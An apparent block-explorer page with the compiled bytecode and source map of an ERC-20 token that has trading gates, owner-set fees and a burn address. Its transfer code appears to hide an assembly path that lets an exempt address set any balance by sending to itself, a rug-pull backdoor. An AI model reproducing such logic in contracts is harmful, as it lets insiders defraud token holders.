f6044820152607760f81b606482015260840161074c565b60006106b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361115e5760405162461bcd60e51b815260040161074c919061116b565b506000610e1f848661139f565b600060208083528351808285015260005b818110156111985785810183015185820160400152820161117c565b818111156111aa576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146111d757600080fd5b919050565b600080604083850312156111ef57600080fd5b6111f8836111c0565b946020939093013593505050565b60008060006060848603121561121b57600080fd5b611224846111c0565b9250611232602085016111c0565b9150604084013590509250925092565b6000806040838503121561125557600080fd5b61125e836111c0565b91506020830135801515811461127357600080fd5b809150509250929050565b60006020828403121561129057600080fd5b6106b2826111c0565b600080604083850312156112ac57600080fd5b6112b5836111c0565b91506112c3602084016111c0565b90509250929050565b600181811c908216806112e057607f821691505b60208210810361130057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156113635761136361133b565b500390565b6000821982111561137b5761137b61133b565b500190565b600081600019048311821515161561139a5761139a61133b565b500290565b6000826113bc57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122095c4b43fadf3fb24641673c7286ffa1460be63ac77cbf47e3f4f9b9172714dd664736f6c634300080e0033

Deployed Bytecode

0x6080604052600436106101855760003560e01c8063557ed1ba116100d1578063a457c2d71161008a578063c816841b11610064578063c816841b146104e6578063ca9ec1991461050b578063dd62ed3e1461053f578063f2fde38b1461058557600080fd5b8063a457c2d714610476578063a9059cbb14610496578063c38ebac4146104b657600080fd5b8063557ed1ba146103d05780636c580801146103e357806370a08231146103f8578063715018a61461042e5780638da5cb5b1461044357806395d89b411461046157600080fd5b80632b112e491161013e578063395093511161011857806339509351146103185780633eaaf86b1461033857806342a110951461036c578063512952f0146103a057600080fd5b80632b112e49146102b5578063313ce567146102ca57806331d5c249146102f657600080fd5b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101ec57806318160ddd1461022457806323b872dd1461026157806327c8f8351461028157600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105a5565b6040516101b3919061116b565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046111dc565b610637565b60405190151581526020016101b3565b3480156101f857600080fd5b50600a5461020c906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561023057600080fd5b507f0000000000000000000000000000000000000000000000000de0b6b3a76400005b6040519081526020016101b3565b34801561026d57600080fd5b506101dc61027c366004611206565b61064e565b34801561028d57600080fd5b5061020c7f000000000000000000000000000000000000000000000000000000000000dead81565b3480156102c157600080fd5b506102536106b9565b3480156102d657600080fd5b50600354600160a81b900460ff1660405160ff90911681526020016101b3565b34801561030257600080fd5b50610316610311366004611242565b610722565b005b34801561032457600080fd5b506101dc6103333660046111dc565b610780565b34801561034457600080fd5b506102537f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b34801561037857600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000281565b3480156103ac57600080fd5b506101dc6103bb36600461127e565b60096020526000908152604090205460ff1681565b3480156103dc57600080fd5b5042610253565b3480156103ef57600080fd5b506103166107b6565b34801561040457600080fd5b5061025361041336600461127e565b6001600160a01b031660009081526006602052604090205490565b34801561043a57600080fd5b506103166107ef565b34801561044f57600080fd5b506000546001600160a01b031661020c565b34801561046d57600080fd5b506101a6610869565b34801561048257600080fd5b506101dc6104913660046111dc565b610878565b3480156104a257600080fd5b506101dc6104b13660046111dc565b6108c7565b3480156104c257600080fd5b506101dc6104d136600461127e565b60076020526000908152604090205460ff1681565b3480156104f257600080fd5b5060035461020c9061010090046001600160a01b031681565b34801561051757600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000481565b34801561054b57600080fd5b5061025361055a366004611299565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561059157600080fd5b506103166105a036600461127e565b6108d4565b6060600480546105b4906112cc565b80601f01602080910402602001604051908101604052809291908181526020018280546105e0906112cc565b801561062d5780601f106106025761010080835404028352916020019161062d565b820191906000526020600020905b81548152906001019060200180831161061057829003601f168201915b5050505050905090565b60006106443384846109be565b5060015b92915050565b600061065b848484610ae2565b506106ae84336106a9856040518060600160405280602881526020016113c2602891396001600160a01b038a1660009081526008602090815260408083203384529091529020549190610dee565b6109be565b5060015b9392505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead1660009081526006602052604081205461071d907f0000000000000000000000000000000000000000000000000de0b6b3a764000090610e28565b905090565b6000546001600160a01b031633146107555760405162461bcd60e51b815260040161074c90611306565b60405180910390fd5b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b3360008181526008602090815260408083206001600160a01b038716845290915281205490916106449185906106a99086610e6a565b6000546001600160a01b031633146107e05760405162461bcd60e51b815260040161074c90611306565b6003805460ff19166001179055565b6000546001600160a01b031633146108195760405162461bcd60e51b815260040161074c90611306565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6060600580546105b4906112cc565b600061064433846106a9856040518060600160405280602581526020016113ea602591393360009081526008602090815260408083206001600160a01b038d1684529091529020549190610dee565b60006106ae338484610ae2565b6000546001600160a01b031633146108fe5760405162461bcd60e51b815260040161074c90611306565b6001600160a01b0381166109635760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161074c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161074c565b6001600160a01b038216610a815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161074c565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526009602052604081205460ff16158015610b1957506000546001600160a01b03858116911614155b8015610b3e57506001600160a01b03841660009081526007602052604090205460ff16155b15610b935760035460ff161515600003610b935760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161074c565b826001600160a01b0316846001600160a01b031603610be6576001600160a01b03841660009081526007602052604090205460ff1615610be65750600082815260066020526040902081905560016106b2565b6001600160a01b038416610c4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161074c565b6001600160a01b038316610cac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161074c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260069091529190912054610cfe918490610dee565b6001600160a01b038516600090815260066020908152604080832093909355600790529081205460ff1680610d4b57506001600160a01b03841660009081526007602052604090205460ff165b610d5f57610d5a858585610ec9565b610d61565b825b6001600160a01b038516600090815260066020526040902054909150610d879082610e6a565b6001600160a01b0380861660008181526006602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ddb9085815260200190565b60405180910390a3506001949350505050565b60008184841115610e125760405162461bcd60e51b815260040161074c919061116b565b506000610e1f8486611351565b95945050505050565b60006106b283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dee565b600080610e778385611368565b9050838110156106b25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161074c565b6001600160a01b038316600090815260096020526040812054819060ff1615610f2857610f216064610f1b857f000000000000000000000000000000000000000000000000000000000000000261107e565b90611100565b9050610f7b565b6001600160a01b03841660009081526009602052604090205460ff1615610f7b57610f786064610f1b857f000000000000000000000000000000000000000000000000000000000000000461107e565b90505b8015611074576001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead16600090815260066020526040902054610fc49082610e6a565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead811660008181526006602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110389085815260200190565b60405180910390a36040518181527f7bc024189123a7a1a3d9dfd02ddea903a7022b7461326ff2bce02e7c5a563cab9060200160405180910390a15b610e1f8382610e28565b60008260000361109057506000610648565b600061109c8385611380565b9050826110a9858361139f565b146106b25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161074c565b60006106b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361115e5760405162461bcd60e51b815260040161074c919061116b565b506000610e1f848661139f565b600060208083528351808285015260005b818110156111985785810183015185820160400152820161117c565b818111156111aa576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146111d757600080fd5b919050565b600080604083850312156111ef57600080fd5b6111f8836111c0565b946020939093013593505050565b60008060006060848603121561121b57600080fd5b611224846111c0565b9250611232602085016111c0565b9150604084013590509250925092565b6000806040838503121561125557600080fd5b61125e836111c0565b91506020830135801515811461127357600080fd5b809150509250929050565b60006020828403121561129057600080fd5b6106b2826111c0565b600080604083850312156112ac57600080fd5b6112b5836111c0565b91506112c3602084016111c0565b90509250929050565b600181811c908216806112e057607f821691505b60208210810361130057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156113635761136361133b565b500390565b6000821982111561137b5761137b61133b565b500190565b600081600019048311821515161561139a5761139a61133b565b500290565b6000826113bc57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122095c4b43fadf3fb24641673c7286ffa1460be63ac77cbf47e3f4f9b9172714dd664736f6c634300080e0033

Deployed Bytecode Sourcemap

11525:6009:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13690:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14861:161;;;;;;;;;;-1:-1:-1;14861:161:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;14861:161:0;1053:187:1;12336:41:0;;;;;;;;;;-1:-1:-1;12336:41:0;;;;-1:-1:-1;;;;;12336:41:0;;;;;;-1:-1:-1;;;;;1436:32:1;;;1418:51;;1406:2;1391:18;12336:41:0;1245:230:1;13967:100:0;;;;;;;;;;-1:-1:-1;14047:12:0;13967:100;;;1626:25:1;;;1614:2;1599:18;13967:100:0;1480:177:1;15908:313:0;;;;;;;;;;-1:-1:-1;15908:313:0;;;;;:::i;:::-;;:::i;11680:81::-;;;;;;;;;;;;;;;15597:128;;;;;;;;;;;;;:::i;13876:83::-;;;;;;;;;;-1:-1:-1;13942:9:0;;-1:-1:-1;;;13942:9:0;;;;13876:83;;2375:4:1;2363:17;;;2345:36;;2333:2;2318:18;13876:83:0;2203:184:1;15457:132:0;;;;;;;;;;-1:-1:-1;15457:132:0;;;;;:::i;:::-;;:::i;:::-;;14358:218;;;;;;;;;;-1:-1:-1;14358:218:0;;;;;:::i;:::-;;:::i;11768:67::-;;;;;;;;;;;;;;;11842:35;;;;;;;;;;;;;;;12277:52;;;;;;;;;;-1:-1:-1;12277:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3594:90;;;;;;;;;;-1:-1:-1;3661:15:0;3594:90;;15030:74;;;;;;;;;;;;;:::i;14075:124::-;;;;;;;;;;-1:-1:-1;14075:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;14168:23:0;14141:7;14168:23;;;:14;:23;;;;;;;14075:124;3094:230;;;;;;;;;;;;;:::i;2869:79::-;;;;;;;;;;-1:-1:-1;2907:7:0;2934:6;-1:-1:-1;;;;;2934:6:0;2869:79;;13781:87;;;;;;;;;;;;;:::i;14584:269::-;;;;;;;;;;-1:-1:-1;14584:269:0;;;;;:::i;:::-;;:::i;15733:167::-;;;;;;;;;;-1:-1:-1;15733:167:0;;;;;:::i;:::-;;:::i;12149:45::-;;;;;;;;;;-1:-1:-1;12149:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11613:26;;;;;;;;;;-1:-1:-1;11613:26:0;;;;;;;-1:-1:-1;;;;;11613:26:0;;;11884:37;;;;;;;;;;;;;;;14207:143;;;;;;;;;;-1:-1:-1;14207:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;14315:18:0;;;14288:7;14315:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14207:143;3338:244;;;;;;;;;;-1:-1:-1;3338:244:0;;;;;:::i;:::-;;:::i;13690:83::-;13727:13;13760:5;13753:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13690:83;:::o;14861:161::-;14936:4;14953:39;873:10;14976:7;14985:6;14953:8;:39::i;:::-;-1:-1:-1;15010:4:0;14861:161;;;;;:::o;15908:313::-;16006:4;16023:36;16033:6;16041:9;16052:6;16023:9;:36::i;:::-;-1:-1:-1;16070:121:0;16079:6;873:10;16101:89;16139:6;16101:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16101:19:0;;;;;;:11;:19;;;;;;;;873:10;16101:33;;;;;;;;;;:37;:89::i;:::-;16070:8;:121::i;:::-;-1:-1:-1;16209:4:0;15908:313;;;;;;:::o;15597:128::-;-1:-1:-1;;;;;15704:11:0;14168:23;15650:7;14168:23;;;:14;:23;;;;;;15677:40;;:12;;:16;:40::i;:::-;15670:47;;15597:128;:::o;15457:132::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;15542:28:0;;;::::1;;::::0;;;:19:::1;:28;::::0;;;;:39;;-1:-1:-1;;15542:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15457:132::o;14358:218::-;873:10;14446:4;14495:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14495:34:0;;;;;;;;;;14446:4;;14463:83;;14486:7;;14495:50;;14534:10;14495:38;:50::i;15030:74::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;15080:11:::1;:16:::0;;-1:-1:-1;;15080:16:0::1;15092:4;15080:16;::::0;;15030:74::o;3094:230::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;3185:6:::1;::::0;;3164:81:::1;::::0;3201:42:::1;::::0;-1:-1:-1;;;;;3185:6:0;;::::1;::::0;3164:81:::1;::::0;::::1;3256:6;:60:::0;;-1:-1:-1;;;;;;3256:60:0::1;3273:42;3256:60;::::0;;3094:230::o;13781:87::-;13820:13;13853:7;13846:14;;;;;:::i;14584:269::-;14677:4;14694:129;873:10;14717:7;14726:96;14765:15;14726:96;;;;;;;;;;;;;;;;;873:10;14726:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14726:34:0;;;;;;;;;;;;:38;:96::i;15733:167::-;15811:4;15828:42;873:10;15852:9;15863:6;15828:9;:42::i;3338:244::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3427:22:0;::::1;3419:73;;;::::0;-1:-1:-1;;;3419:73:0;;4148:2:1;3419:73:0::1;::::0;::::1;4130:21:1::0;4187:2;4167:18;;;4160:30;4226:34;4206:18;;;4199:62;-1:-1:-1;;;4277:18:1;;;4270:36;4323:19;;3419:73:0::1;3946:402:1::0;3419:73:0::1;3529:6;::::0;;3508:38:::1;::::0;-1:-1:-1;;;;;3508:38:0;;::::1;::::0;3529:6;::::1;::::0;3508:38:::1;::::0;::::1;3557:6;:17:::0;;-1:-1:-1;;;;;;3557:17:0::1;-1:-1:-1::0;;;;;3557:17:0;;;::::1;::::0;;;::::1;::::0;;3338:244::o;15112:337::-;-1:-1:-1;;;;;15205:19:0;;15197:68;;;;-1:-1:-1;;;15197:68:0;;4555:2:1;15197:68:0;;;4537:21:1;4594:2;4574:18;;;4567:30;4633:34;4613:18;;;4606:62;-1:-1:-1;;;4684:18:1;;;4677:34;4728:19;;15197:68:0;4353:400:1;15197:68:0;-1:-1:-1;;;;;15284:21:0;;15276:68;;;;-1:-1:-1;;;15276:68:0;;4960:2:1;15276:68:0;;;4942:21:1;4999:2;4979:18;;;4972:30;5038:34;5018:18;;;5011:62;-1:-1:-1;;;5089:18:1;;;5082:32;5131:19;;15276:68:0;4758:398:1;15276:68:0;-1:-1:-1;;;;;15357:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15409:32;;1626:25:1;;;15409:32:0;;1599:18:1;15409:32:0;;;;;;;15112:337;;;:::o;16231:1255::-;-1:-1:-1;;;;;16340:30:0;;16318:4;16340:30;;;:19;:30;;;;;;;;16339:31;:52;;;;-1:-1:-1;2907:7:0;2934:6;-1:-1:-1;;;;;16374:17:0;;;2934:6;;16374:17;;16339:52;:77;;;;-1:-1:-1;;;;;;16396:20:0;;;;;;:12;:20;;;;;;;;16395:21;16339:77;16335:152;;;16440:11;;;;:20;;:11;:20;16432:55;;;;-1:-1:-1;;;16432:55:0;;5363:2:1;16432:55:0;;;5345:21:1;5402:2;5382:18;;;5375:30;-1:-1:-1;;;5421:18:1;;;5414:52;5483:18;;16432:55:0;5161:346:1;16432:55:0;16524:9;-1:-1:-1;;;;;16514:19:0;:6;-1:-1:-1;;;;;16514:19:0;;16511:374;;-1:-1:-1;;;;;16552:20:0;;;;;;:12;:20;;;;;;;;16549:323;;;-1:-1:-1;16635:1:0;16628:20;;;16685:19;16681:2;16674:31;16756:2;16743:16;;16785:20;;;16851:4;16844:11;;16549:323;-1:-1:-1;;;;;16905:20:0;;16897:70;;;;-1:-1:-1;;;16897:70:0;;5714:2:1;16897:70:0;;;5696:21:1;5753:2;5733:18;;;5726:30;5792:34;5772:18;;;5765:62;-1:-1:-1;;;5843:18:1;;;5836:35;5888:19;;16897:70:0;5512:401:1;16897:70:0;-1:-1:-1;;;;;16986:23:0;;16978:71;;;;-1:-1:-1;;;16978:71:0;;6120:2:1;16978:71:0;;;6102:21:1;6159:2;6139:18;;;6132:30;6198:34;6178:18;;;6171:62;-1:-1:-1;;;6249:18:1;;;6242:33;6292:19;;16978:71:0;5918:399:1;16978:71:0;17087:58;;;;;;;;;;;-1:-1:-1;;;17087:58:0;;;;;;;;-1:-1:-1;;;;;17087:22:0;;-1:-1:-1;17087:22:0;;;:14;:22;;;;;;;;:58;;17114:6;;17087:26;:58::i;:::-;-1:-1:-1;;;;;17062:22:0;;;;;;:14;:22;;;;;;;;:83;;;;17181:12;:20;;;;;;;;;:47;;-1:-1:-1;;;;;;17205:23:0;;;;;;:12;:23;;;;;;;;17181:47;17180:133;;17283:30;17287:6;17295:9;17306:6;17283:3;:30::i;:::-;17180:133;;;17274:6;17180:133;-1:-1:-1;;;;;17356:25:0;;;;;;:14;:25;;;;;;17158:155;;-1:-1:-1;17356:42:0;;17158:155;17356:29;:42::i;:::-;-1:-1:-1;;;;;17328:25:0;;;;;;;:14;:25;;;;;;;:70;;;;17416:40;;;;;;;;;;17444:11;1626:25:1;;1614:2;1599:18;;1480:177;17416:40:0;;;;;;;;-1:-1:-1;17474:4:0;;16231:1255;-1:-1:-1;;;;16231:1255:0:o;1380:192::-;1466:7;1502:12;1494:6;;;;1486:29;;;;-1:-1:-1;;;1486:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1526:9:0;1538:5;1542:1;1538;:5;:::i;:::-;1526:17;1380:192;-1:-1:-1;;;;;1380:192:0:o;1236:136::-;1294:7;1321:43;1325:1;1328;1321:43;;;;;;;;;;;;;;;;;:3;:43::i;1047:181::-;1105:7;;1137:5;1141:1;1137;:5;:::i;:::-;1125:17;;1166:1;1161;:6;;1153:46;;;;-1:-1:-1;;;1153:46:0;;6919:2:1;1153:46:0;;;6901:21:1;6958:2;6938:18;;;6931:30;6997:29;6977:18;;;6970:57;7044:18;;1153:46:0;6717:351:1;13037:645:0;-1:-1:-1;;;;;13180:22:0;;13106:7;13180:22;;;:19;:22;;;;;;13106:7;;13180:22;;13177:203;;;13230:28;13254:3;13230:19;:6;13241:7;13230:10;:19::i;:::-;:23;;:28::i;:::-;13219:39;;13177:203;;;-1:-1:-1;;;;;13289:22:0;;;;;;:19;:22;;;;;;;;13286:94;;;13339:29;13364:3;13339:20;:6;13350:8;13339:10;:20::i;:29::-;13328:40;;13286:94;13403:12;;13400:235;;-1:-1:-1;;;;;13494:11:0;13471:36;;;;;:14;:36;;;;;;:50;;13512:8;13471:40;:50::i;:::-;-1:-1:-1;;;;;13455:11:0;13432:36;;;;;;:14;:36;;;;;;;:89;;;;13541:43;;;;;;;;;;13575:8;1626:25:1;;1614:2;1599:18;;1480:177;13541:43:0;;;;;;;;13604:19;;1626:25:1;;;13604:19:0;;1614:2:1;1599:18;13604:19:0;;;;;;;13400:235;13654:20;:6;13665:8;13654:10;:20::i;1580:250::-;1638:7;1662:1;1667;1662:6;1658:47;;-1:-1:-1;1692:1:0;1685:8;;1658:47;1717:9;1729:5;1733:1;1729;:5;:::i;:::-;1717:17;-1:-1:-1;1762:1:0;1753:5;1757:1;1717:17;1753:5;:::i;:::-;:10;1745:56;;;;-1:-1:-1;;;1745:56:0;;7670:2:1;1745:56:0;;;7652:21:1;7709:2;7689:18;;;7682:30;7748:34;7728:18;;;7721:62;-1:-1:-1;;;7799:18:1;;;7792:31;7840:19;;1745:56:0;7468:397:1;1838:132:0;1896:7;1923:39;1927:1;1930;1923:39;;;;;;;;;;;;;;;;;2064:7;2099:12;2092:5;2084:28;;;;-1:-1:-1;;;2084:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2123:9:0;2135:5;2139:1;2135;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1662:328::-;1739:6;1747;1755;1808:2;1796:9;1787:7;1783:23;1779:32;1776:52;;;1824:1;1821;1814:12;1776:52;1847:29;1866:9;1847:29;:::i;:::-;1837:39;;1895:38;1929:2;1918:9;1914:18;1895:38;:::i;:::-;1885:48;;1980:2;1969:9;1965:18;1952:32;1942:42;;1662:328;;;;;:::o;2392:347::-;2457:6;2465;2518:2;2506:9;2497:7;2493:23;2489:32;2486:52;;;2534:1;2531;2524:12;2486:52;2557:29;2576:9;2557:29;:::i;:::-;2547:39;;2636:2;2625:9;2621:18;2608:32;2683:5;2676:13;2669:21;2662:5;2659:32;2649:60;;2705:1;2702;2695:12;2649:60;2728:5;2718:15;;;2392:347;;;;;:::o;2744:186::-;2803:6;2856:2;2844:9;2835:7;2831:23;2827:32;2824:52;;;2872:1;2869;2862:12;2824:52;2895:29;2914:9;2895:29;:::i;2935:260::-;3003:6;3011;3064:2;3052:9;3043:7;3039:23;3035:32;3032:52;;;3080:1;3077;3070:12;3032:52;3103:29;3122:9;3103:29;:::i;:::-;3093:39;;3151:38;3185:2;3174:9;3170:18;3151:38;:::i;:::-;3141:48;;2935:260;;;;;:::o;3200:380::-;3279:1;3275:12;;;;3322;;;3343:61;;3397:4;3389:6;3385:17;3375:27;;3343:61;3450:2;3442:6;3439:14;3419:18;3416:38;3413:161;;3496:10;3491:3;3487:20;3484:1;3477:31;3531:4;3528:1;3521:15;3559:4;3556:1;3549:15;3413:161;;3200:380;;;:::o;3585:356::-;3787:2;3769:21;;;3806:18;;;3799:30;3865:34;3860:2;3845:18;;3838:62;3932:2;3917:18;;3585:356::o;6322:127::-;6383:10;6378:3;6374:20;6371:1;6364:31;6414:4;6411:1;6404:15;6438:4;6435:1;6428:15;6454:125;6494:4;6522:1;6519;6516:8;6513:34;;;6527:18;;:::i;:::-;-1:-1:-1;6564:9:1;;6454:125::o;6584:128::-;6624:3;6655:1;6651:6;6648:1;6645:13;6642:39;;;6661:18;;:::i;:::-;-1:-1:-1;6697:9:1;;6584:128::o;7073:168::-;7113:7;7179:1;7175;7171:6;7167:14;7164:1;7161:21;7156:1;7149:9;7142:17;7138:45;7135:71;;;7186:18;;:::i;:::-;-1:-1:-1;7226:9:1;;7073:168::o;7246:217::-;7286:1;7312;7302:132;;7356:10;7351:3;7347:20;7344:1;7337:31;7391:4;7388:1;7381:15;7419:4;7416:1;7409:15;7302:132;-1:-1:-1;7448:9:1;;7246:217::o

Swarm Source

ipfs://95c4b43fadf3fb24641673c7286ffa1460be63ac77cbf47e3f4f9b9172714dd6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.